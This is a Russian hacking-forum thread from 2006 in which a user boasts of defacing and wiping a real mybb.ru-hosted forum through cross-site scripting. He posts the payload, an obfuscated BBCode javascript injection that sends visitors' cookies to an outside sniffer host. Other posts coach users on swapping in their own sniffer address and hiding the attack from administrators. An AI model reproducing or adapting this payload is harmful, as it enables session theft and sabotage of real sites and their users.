Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Mybb.ru - прощай :) (https://forum.antichat.xyz/showthread.php?t=26304)

GOOFY 01.11.2006 00:39

Mybb.ru - прощай :)
 
Знакомимся :) бб...
http://night.5bb.ru/, дифейсик через обычную xss (отправил сегодня в раздел видео, буду надеятся, что добавят :))
таким же макаром можно задифейсить любой из сети форумов - mybb.ru, 1bb 2bb и тд...
жду комментов :)

.Slip 01.11.2006 00:48

Где ж тут дефейс. Просто написание матершины, и всё:) А так молодец. Если правда конечно же. Ибо это можно и самому такой форум сделать, и всё в настройках прописать.

GOOFY 01.11.2006 00:52

[sL1p]:
Всмысле правда? Ну так попакостили с напарником им немного, рассылку сделали, причем пришел ответ от одного обиженного -
Цитата:

Гениально,аж до офигевания,вам череп не жмет? - kuroj@bk.ru
. именно сейчас делаю мощную зачистку - форум тает на глазах :) 270 юзеров в бешенстве :) нефиг вампирами быть :)

.Slip 01.11.2006 00:53

Выложи код xss, через которую ты это всё взломал.

GOOFY 01.11.2006 00:56

вот и она...
PHP код:

[email=XSS@XSS[url=style=background:url(javascript:document.write(String.fromCharCode(1054,1096,1080,1073,1082,1072,32,52,48,52,60,115,99,114,105,112,116,62,105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,32,105,109,103,46,115,114,99,32,61,32,34,104,116,116,112,58,47,47,99,111,109,112,45,105,110,102,111,46,114,117,47,112,105,99,47,105,109,97,103,101,46,106,112,103,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,60,47,115,99,114,105,112,116,62,32)));display:none;][/url]][/email


Digimortal 01.11.2006 02:17

а деф голимый.. мягко говоря..

IOBOWAN 01.11.2006 06:23

http://rap.5bb.ru/viewtopic.php?pid=596#p596
у меня не прокатила(

GOOFY 01.11.2006 10:06

Digimortal:
лично мне было неохото особо то возиться с ними :) зато сайт свой порекламил немного :)
IOBOWAN:
lol :) ты не догадался исправить путь к сниферу на свой? :) грубо говоря ты сделал 20% работы и думал, что пассы сами к тебе свалются :)

-Concord- 01.11.2006 10:54

Хм. я это тоже не понял... допустим картинка у меня на http://antichat.org/s/serversmchat.gif то какой должен быть код. напишите кто знает.

GOOFY 01.11.2006 10:57

держите видео, может кому пригодится, незнаю когда на а.чате в видео опубликуют, если вообще опубликуют...
http://flood3r.com/files/mybb.rar (2,5 Mb)

!achtung
друзья, не пакостите сильно, а то через 2 дня ничего работать не будет(
после захвата форума, удалите созданные вами "злые" темы, дабы не палить
xss глупым админам сервиса.


Время: 03:59